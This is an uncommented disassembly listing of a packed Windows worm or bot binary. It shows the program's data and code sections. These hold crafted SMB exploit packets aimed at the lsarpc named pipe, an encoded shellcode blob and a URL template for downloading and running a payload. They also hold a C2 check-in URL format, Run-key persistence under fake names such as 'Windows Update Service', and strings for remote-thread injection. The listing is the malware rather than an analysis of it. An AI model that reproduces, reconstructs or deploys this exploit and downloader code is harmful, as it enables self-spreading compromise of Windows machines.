		dd 314241h, 31424130h, 2E767663h, 7572h, 2E777777h, 6C646572h
		dd 2E656E69h, 7572h, 656C6966h,	72616573h, 722E6863h, 75h
		dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h
		dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh
		dd 782D7265h, 6D6F632Eh, 0
		dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h
		dd 76h,	74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h
		dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h
		dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0
		dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh
		dd 75722E6Bh, 0
dword_314241D4	dd 72617778h, 6A632E65h, 656E2E62h, 74h	; DATA XREF: UPX0:31424086o
dword_314241E4	dd 617A616Dh, 616B6166h, 75722Eh ; DATA	XREF: UPX0:off_31424081o
dword_314241F0	dd 6578652Eh, 0		; DATA XREF: sub_314211A0+75o
					; sub_3142207E+55o ...
dword_314241F8	dd 5Ch			; DATA XREF: sub_314211A0+49o
					; sub_31422A9B+56o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: sub_314211A0+13o
		align 10h
aAbcdefghijkl_0	db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31421316+1Co
		align 4
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31421316+Co
		align 4
aZer0		db 'zer0',0             ; DATA XREF: sub_31421422+34o
		align 10h
aHttpS		db 'http://%s',0        ; DATA XREF: sub_314215C7+71o
		align 4
aHttpSIndex_php	db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=19&cnt=%s',0
					; DATA XREF: sub_314215C7+57o
		align 8
byte_314242B8	db 0EBh			; DATA XREF: sub_31421801+24Eo
					; sub_31421801+260o ...
		db 58h
word_314242BA	dw 7468h		; DATA XREF: sub_31422712+40o
		dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h
		dd 6578652Eh, 4	dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h
		dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh
		dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h,	0DAE80AEBh
		dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h
		dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch
		dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h,	0C999C999h
		dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h
		dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h
		dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h
		dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h
		dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h
		dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h,	99C99998h
		dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h,	98F3C8C8h
		dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h
		dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h
		dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch
		dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh
		dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h
		dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h,	2C66C096h
		dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h
		dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h,	26F434C9h
		dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h
		dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h,	0B7C999C9h
		dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6	dup(99C999C9h)
		dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h
		dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h,	83639D90h
		dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh
		dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h
		dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah,	9BAB9E59h
		dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h
		dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h
		dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh
		dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh
		dd 0
dword_31424580	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_31421801+186o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_3142460C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+1BAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_314246B8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+1EEo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_31424798	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+8Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_31421801+BFo
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_314247FC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+2D4o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_31424868	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+308o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_3142490C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+4EEo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
dword_3142498C	dd 401495h, 3, 40707Ch,	1, 0 ; DATA XREF: sub_31421801+51Co
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_31424A20	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+347o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_31424A8C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+372o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_31424B00	dd 0			; DATA XREF: sub_31421801+3A0o
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 3	dup(0)
		dd 586E6957h, 72502050h, 6Fh, 9	dup(0)
		db 2 dup(0)
dword_31424BBE	dd 1004600h		; DATA XREF: sub_31421801+289r
		dw 1
		dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0)
dword_31424BF8	dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0)
					; DATA XREF: sub_31421801+41Bo
					; sub_31421801+45Do
		dd 123C0000h, 751Ch, 0Eh dup(0)
; ---------------------------------------------------------------------------

loc_31424C70:				; DATA XREF: sub_31421801+44Ao
		jmp	short loc_31424C78
; ---------------------------------------------------------------------------
		jmp	short loc_31424C7A
; ---------------------------------------------------------------------------
		align 8

loc_31424C78:				; CODE XREF: UPX0:loc_31424C70j
					; DATA XREF: sub_31421801+5Co
		pop	esp
		pop	esp

loc_31424C7A:				; CODE XREF: UPX0:31424C72j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_31424C84	dd 1CEC8166h		; DATA XREF: sub_31421801+Dr
dword_31424C88	dd 0E4FF07h		; DATA XREF: sub_31421801+1Cr
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_31421D68+62o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31421D68+39o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31421D68+2Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_31421D68+1Bo
		align 4
aAdvapi32	db 'advapi32',0         ; DATA XREF: sub_31421D68+8o
					; sub_314223B2+12Co
		align 10h
aUterm19	db 'uterm19',0          ; DATA XREF: sub_31421DF0:loc_31421ED5o
					; UPX0:31422351o ...
aShell_traywnd	db 'Shell_TrayWnd',0    ; DATA XREF: sub_31421DF0+58o
		align 4
aCreateremoteth	db 'CreateRemoteThread',0 ; DATA XREF: sub_31421DF0:loc_31421E37o
		align 4
aVirtualallocex	db 'VirtualAllocEx',0   ; DATA XREF: sub_31421DF0+34o
		align 4
aKernel32	db 'kernel32',0         ; DATA XREF: sub_31421DF0+18o
		align 4
dword_31424D38	dd 0E9F3F5h		; DATA XREF: sub_3142207E+112o
aHttp1_1200Ok	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+106o
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_3142207E+85o
		db 0Dh,0Ah,0
		align 4
aHttp1_1200OkCo	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+71o
		db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0
		align 4
aGet		db 'GET',0              ; DATA XREF: sub_3142207E+3Do
aFtpupd_exe	db 'ftpupd.exe',0       ; DATA XREF: UPX0:3142233Co
		align 4
aUser32		db 'user32',0           ; DATA XREF: sub_314223B2+133o
		align 4
aMsvcrt		db 'msvcrt',0           ; DATA XREF: sub_314223B2+125o
		align 4
aWininet	db 'wininet',0          ; DATA XREF: sub_314223B2+11Eo
aWs2_32		db 'ws2_32',0           ; DATA XREF: sub_314223B2+111o
		align 4
aU19x		db 'u19x',0             ; DATA XREF: sub_314223B2+BDo
		align 4
aU19		db 'u19',0              ; DATA XREF: sub_314223B2+B6o
aU18		db 'u18',0              ; DATA XREF: sub_314223B2+AFo
aU17		db 'u17',0              ; DATA XREF: sub_314223B2+A8o
aU16		db 'u16',0              ; DATA XREF: sub_314223B2+A1o
aU15		db 'u15',0              ; DATA XREF: sub_314223B2+9Ao
aU14		db 'u14',0              ; DATA XREF: sub_314223B2+93o
aU13i		db 'u13i',0             ; DATA XREF: sub_314223B2+8Co
		align 4
aU13		db 'u13',0              ; DATA XREF: sub_314223B2+85o
aU12		db 'u12',0              ; DATA XREF: sub_314223B2+7Eo
aU11		db 'u11',0              ; DATA XREF: sub_314223B2+77o
aU10		db 'u10',0              ; DATA XREF: sub_314223B2+70o
aU9		db 'u9',0               ; DATA XREF: sub_314223B2+69o
		align 4
aU8		db 'u8',0               ; DATA XREF: sub_314223B2+62o
		align 4
aU18x		db 'u18x',0             ; DATA XREF: sub_314223B2+5Bo
		align 4
aU17x		db 'u17x',0             ; DATA XREF: sub_314223B2+54o
		align 4
aU16x		db 'u16x',0             ; DATA XREF: sub_314223B2+4Do
		align 4
aU15x		db 'u15x',0             ; DATA XREF: sub_314223B2+46o
		align 4
aU14x		db 'u14x',0             ; DATA XREF: sub_314223B2+3Fo
		align 4
aU13x		db 'u13x',0             ; DATA XREF: sub_314223B2+38o
		align 4
aU12x		db 'u12x',0             ; DATA XREF: sub_314223B2+31o
		align 4
aU11x		db 'u11x',0             ; DATA XREF: sub_314223B2+2Ao
		align 4
aU10x		db 'u10x',0             ; DATA XREF: sub_314223B2+23o
		align 4
aHttpSDX_exe	db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31422712+2Do
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_314221C4+23o
					; sub_314229E6+66o ...
		align 4
aCryptographicS	db 'Cryptographic Service',0 ; DATA XREF: sub_314221C4+1Co
					; sub_31422A9B+87o ...
		align 10h
aTeqascuxcdoazy	db 'teqascuxcdoazysmpau',0 ; DATA XREF: sub_314215C7+4Fo
					; sub_31422B67+57o ...
		align 8
aSoftwareMicr_0	db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31422B67+32o
aClient		db 'Client',0           ; DATA XREF: sub_31422B67+BCo
					; sub_31422B67+F8o
		align 4
aId		db 'ID',0               ; DATA XREF: sub_31422B67+37o
					; sub_31422B67+75o
		align 10h
aWindowsUpdate	db 'Windows Update',0   ; DATA XREF: sub_314229E6+55o
		align 10h
aMsConfigV13	db 'MS Config v13',0    ; DATA XREF: sub_314229E6+4Eo
		align 10h
aAvserve2_exeup	db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_314229E6+47o
		align 4
aAvserve_exe	db 'avserve.exe',0      ; DATA XREF: sub_314229E6+40o
aWindowsUpdateS	db 'Windows Update Service',0 ; DATA XREF: sub_314229E6+39o
		align 10h
aWinupdate	db 'WinUpdate',0        ; DATA XREF: sub_314229E6+32o
		align 4
aSystray	db 'SysTray',0          ; DATA XREF: sub_314229E6+2Bo
aBotLoader	db 'Bot Loader',0       ; DATA XREF: sub_314229E6+24o
		align 10h
aSystemRestoreS	db 'System Restore Service',0 ; DATA XREF: sub_314229E6+1Do
		align 4
aDiskDefragment	db 'Disk Defragmenter',0 ; DATA XREF: sub_314229E6+16o
		align 4
aWindowsSecurit	db 'Windows Security Manager',0 ; DATA XREF: sub_314229E6+Fo
		align 4
a1:					; DATA XREF: sub_31422B67+B7o
		unicode	0, <1>,0
		dd 7 dup(0)
dword_31424FE8	dd 0			; DATA XREF: sub_3142207E+C7r
					; sub_314221C4+80w
dword_31424FEC	dd 0			; DATA XREF: sub_314215C7+43r
					; sub_314216A2+53o ...
dword_31424FF0	dd 0			; DATA XREF: sub_3142207E+79r
					; sub_3142207E:loc_3142212Cr ...
dword_31424FF4	dd 58h			; DATA XREF: sub_31421DF0+C2r
					; UPX0:3142235Cw ...
dword_31424FF8	dd 0			; DATA XREF: sub_3142239E+2r
					; sub_314223B2+CEw
dword_31424FFC	dd 0			; DATA XREF: sub_314221C4+E0w
					; sub_31422712+20r
dword_31425000	dd 31420000h		; DATA XREF: sub_31421DF0+6r
					; UPX0:31422341w
dword_31425004	dd 0			; DATA XREF: sub_314215C7+49r
					; sub_314216A2+4Ao ...
dword_31425008	dd 0			; DATA XREF: UPX0:314227AFw
					; UPX0:314227C1w
word_3142500C	dw 0			; DATA XREF: sub_3142255F+3Br
					; sub_314225C3:loc_31422624r ...
		align 10h
dword_31425010	dd 0			; DATA XREF: sub_31422B67+25w
					; sub_31422B67+110w
		align 1000h
UPX0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00006000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 31426000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_31426000	dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h
					; DATA XREF: UPX1:31427BB1o
		dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh
		dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h
		dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh
		dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h
		dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h
		dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh
		dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h
		dd 70637274h, 1004179h,	61657243h, 76456574h, 41746E65h
		dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
		dd 44010074h, 74656C65h, 6C694665h, 1004165h, 74697257h
		dd 6C694665h, 43010065h, 65736F6Ch, 646E6148h, 100656Ch
		dd 61657243h, 69466574h, 41656Ch, 74736C01h, 6E656C72h
		dd 6C010041h, 63727473h, 417461h, 74654701h, 74737953h
		dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h
		dd 49656C61h, 416F666Eh, 6C530100h, 706565h, 746E4901h
		dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 736C0100h
		dd 70637274h, 416E79h, 74654701h, 72727543h, 50746E65h
		dd 65636F72h, 1007373h,	50746547h, 41636F72h, 65726464h
		dd 1007373h, 64616F4Ch,	7262694Ch, 41797261h, 72570100h
		dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 704F0100h
		dd 72506E65h, 7365636Fh, 47010073h, 6F4D7465h, 656C7564h
		dd 646E6148h, 41656Ch, 74654701h, 6B636954h, 6E756F43h
		dd 43010074h, 74616572h, 74754D65h, 417865h, 65724301h
		dd 54657461h, 61657268h, 43010064h, 74616572h, 6F725065h
		dd 73736563h, 53010041h, 76457465h, 746E65h, 65704F01h
		dd 6576456Eh, 41746Eh, 69784501h, 72685474h, 646165h, 746E4901h
		dd 6F6C7265h, 64656B63h, 72636E49h, 6E656D65h, 52010074h
		dd 46646165h, 656C69h, 74654701h, 656C6946h, 657A6953h
		dd 78450100h, 72507469h, 7365636Fh, 47010073h, 614C7465h
		dd 72457473h, 726F72h, 0D100h, 0
		dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h
		dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh
		dd 4579654Bh, 1004178h,	44676552h, 74656C65h, 6C615665h
		dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h
		dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh
		dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h
		dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h
		dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h
		dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h
		dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h
		dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h
		dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h
		dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h
		dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h
		dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h
		dd 337265h, 72747301h, 727473h,	72747301h, 726863h, 0E900h
		dd 11000h, 69460100h, 6957646Eh, 776F646Eh, 47010041h
		dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 100776Fh
		dd 57746547h, 6F646E69h, 72685477h, 50646165h, 65636F72h
		dd 64497373h, 73770100h, 6E697270h, 416674h, 0F400h, 12400h
		dd 6E490100h, 6E726574h, 704F7465h, 72556E65h, 100416Ch
		dd 65746E49h, 74656E72h, 6E65704Fh, 49010041h, 7265746Eh
		dd 4374656Eh, 65736F6Ch, 646E6148h, 100656Ch, 65746E49h
		dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h
		dd 49010065h, 7265746Eh, 5274656Eh, 46646165h, 656C69h
		dd 10000h, 13C00h, 73FF00h, 0FF0002FFh,	1FF000Dh, 39FF00h
		dd 0FF006FFFh, 17FF0034h, 0CFF00h, 0FF0009FFh, 13FF0004h
		dd 10FF00h, 0FF0016FFh,	3, 50000000h, 4C000045h, 0C8000201h
		dd 40D859h, 0
		dd 0E0000000h, 0B010F00h, 601h,	26h, 12h, 34000000h, 23h
		dd 10h,	40h, 314200h, 10h, 4000002h, 0
		dd 4000000h, 2 dup(0)
		dd 60h,	4, 2000000h, 0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 2	dup(0)
		dd 34000000h, 8C00002Dh, 15h dup(0)
		dd 7C000010h, 1, 5 dup(0)
		dd 2E000000h, 74786574h, 56000000h, 24h, 10h, 26h, 4, 2	dup(0)
		dd 20000000h, 2EE00400h, 61746164h, 14000000h, 10h, 40h
		dd 10h,	2Ah, 2 dup(0)
		dd 40000000h, 0C00000h,	3C000050h, 0C300002Fh, 0A1000054h
		dd 89254BBEh, 0DB43AA85h, 0AEF070A0h, 92A2047Dh, 4EC00F3Ch
		dd 27BE81Ch, 8402F26Ah,	47FC7D1Bh, 0F0024A19h, 0A033E402h
		dd 2164868h, 0D2B735D7h, 0A73D7D03h, 769F6801h,	36E6CCE6h
		dd 3A4A2064h, 1B5AB7CCh, 0DC87B734h, 6A7684E0h,	96F42A70h
		dd 0E6C8E38Ch, 5EC86080h, 7A97640Ah, 273E1B25h,	0A2280084h
		dd 364B003Fh, 3CD9B96Bh, 98B9B26Ch, 0E477BDE2h,	0DC016754h
		dd 317E500Fh, 0C777C3E4h, 0AC683B0Dh, 0D328C00Dh, 0B138CEDCh
		dd 0E56F08C9h, 0DB0C7A04h, 0D2484522h, 0DD2DC5F8h, 0D61B212Fh
		dd 402EDB1Ch, 67012DEh,	4C9039ECh, 40BCF844h, 0C27190D6h
		dd 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh, 67E9ACF9h
		dd 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h,	1CF25B07h
		dd 96F41276h, 899DE9C3h, 940AEF65h, 7BC87C6Ah, 64B1E3C3h
		dd 0C9BE490Ch, 991DD97Bh, 90E154E4h, 8C9FE924h,	0DCCCC349h
		dd 0CF78242Eh, 2C8248EDh, 0F864052Ch, 66F4150Ch, 3319A002h
		dd 8707A23h, 8F895E74h,	0F4C6DD0Eh, 1C51CC5Fh, 80B3EF9Ch
		dd 7F24E4A1h, 5A435A8h,	0B5D0781Bh, 571282F8h, 5A745737h
		dd 0ACBF931h, 74F80E14h, 9A0684Bh, 0CA28B753h, 2D3D74CEh
		dd 67ED85C9h, 0A0412069h, 0FFC55FFh, 35BAB9E8h,	50E49ED7h
		dd 0E9628ACh, 5B3002F0h, 5547BF4Dh, 8C0009F8h, 681583E4h
		dd 0F475583Bh, 1887EE42h, 851321C5h, 0A90A508Bh, 0BFF77FB6h
		dd 3C418B2Fh, 68C10357h, 488B4D2Ch, 50788B34h, 0A0F44D89h
		dd 0EE062AB4h, 1C68D84Bh, 5D97D81Bh, 0F0F559AAh, 868D201h
		dd 0C18DEC12h, 0ED74C3B1h, 1110D70Dh, 0F46F0E82h, 1409B26Ah
		dd 0F84DF123h, 91762C51h, 18185085h, 892A6897h,	6C54A0E9h
		dd 0CA405DB0h, 46C0ED03h, 0EB346B63h, 9AAB1930h, 596ED578h
		dd 37DF055h, 0AB6745E6h, 0F03EDD4Bh, 53503151h,	9E0AC1Eh
		dd 0F435C4F7h, 17FAD6BDh, 3FEA6D6Ah, 5577D0F1h,	74C73BECh
		dd 1BEB5805h, 5AE57E17h, 25348CBFh, 5FC0E59h, 36E7345Fh
		dd 740807EBh, 0E1FC58EFh, 5F521E86h, 602F5151h,	0B269310Fh
		dd 5C91A144h, 0BAB8250Dh, 0DD20DB42h, 0B213B1AFh, 1133AEECh
		dd 2D590FEBh, 0B66AF9C2h, 99EDC4B1h, 0C803CBCh,	1450A850h
		dd 7D2774D6h, 5DC02C50h, 4459FC19h, 437C20BAh, 247C8B57h
		dd 0A5C58314h, 7E11D25Ah, 641A8717h, 803FFFF5h,	148861C2h
		dd 0F73B461Eh, 2480E97Ch, 0C68C003Bh, 54D5D6DBh, 5F2E448Bh
		dd 5657AC5Ah, 30181DDBh, 2F216674h, 8896DC73h, 50F02EEDh
		dd 565019h, 3C3ACAAh, 9577E134h, 49F44DC4h, 8F6B6E8Ch
		dd 0F00CFA68h, 0C908C7FFh, 349B6996h, 2E2ACC34h, 99AD734Ch
		dd 0A0A75EDh, 1A20BC50h, 3E160118h, 7C654A1h, 13B7FB8h
		dd 0ADF1CE74h, 8B0C407Dh, 51080100h, 5F24448Dh,	9B613421h
		dd 0D31130C5h, 74245903h, 7F84EE8h, 7BBCC15h, 662FC820h
		dd 3333C7FBh, 0C1F8C8E4h, 0B8510E7h, 4679B0D4h,	8B0200B6h
		dd 33125Dh, 0F3702647h,	19DC201h, 53C4EAC9h, 0A311E3C6h
		dd 0F2B57B35h, 0C3255035h, 26B69D83h, 0ADE74880h, 40666CB5h
		dd 41F0179Eh, 0BB683595h, 98CEE331h, 0B76C683Dh, 474FF044h
		dd 19B1606Ch, 0A54D54FEh, 2CC5D314h, 7C54DADCh,	0FC0DFE00h
		dd 33A134BAh, 2B7900B9h, 72C13BC7h, 72C18B02h, 0E1EBB76Fh
		dd 0E8A1292Bh, 23C70318h, 0FE25A3ACh, 233DCC96h, 786A1172h
		dd 0DA3140F8h, 0C4EB3C28h, 7750E113h, 6CF64F26h, 941ED411h
		dd 0CD3C6815h, 0BEE4D62h, 97386803h, 9D663E3Ch,	54533AB5h
		dd 0D0835253h, 8C47E0B1h, 4C29824h, 136D8223h, 0E643098h
		dd 0E8D0B1F7h, 8C316D4h, 0BBEE4E29h, 89574377h,	80686806h
		dd 27841D89h, 5D4F7E18h, 14EC6DA2h, 0F2D4C0h, 0C1345391h
		dd 27B6B6Ch, 80EB3A01h,	9AD468E6h, 1A4DFD77h, 0B34A3678h
		dd 0DCCD2F74h, 677A5EA3h, 0A3650C75h, 53FCA4FEh, 1AD9D251h
		dd 3A865613h, 0DC3E68D8h, 2656D88Ch, 58195EF9h,	0F8DA6A12h
		dd 5E0510C2h, 0EF4B56C0h, 0C6697A4h, 0EC5D89E8h, 0DFFF050Dh
		dd 25EDF760h, 3A041FFFh, 43FCA3C3h, 8A1FE774h, 5FC984CCh
		dd 74E849BDh, 0EA6B50DFh, 64405F42h, 0A51985BAh, 440C6465h
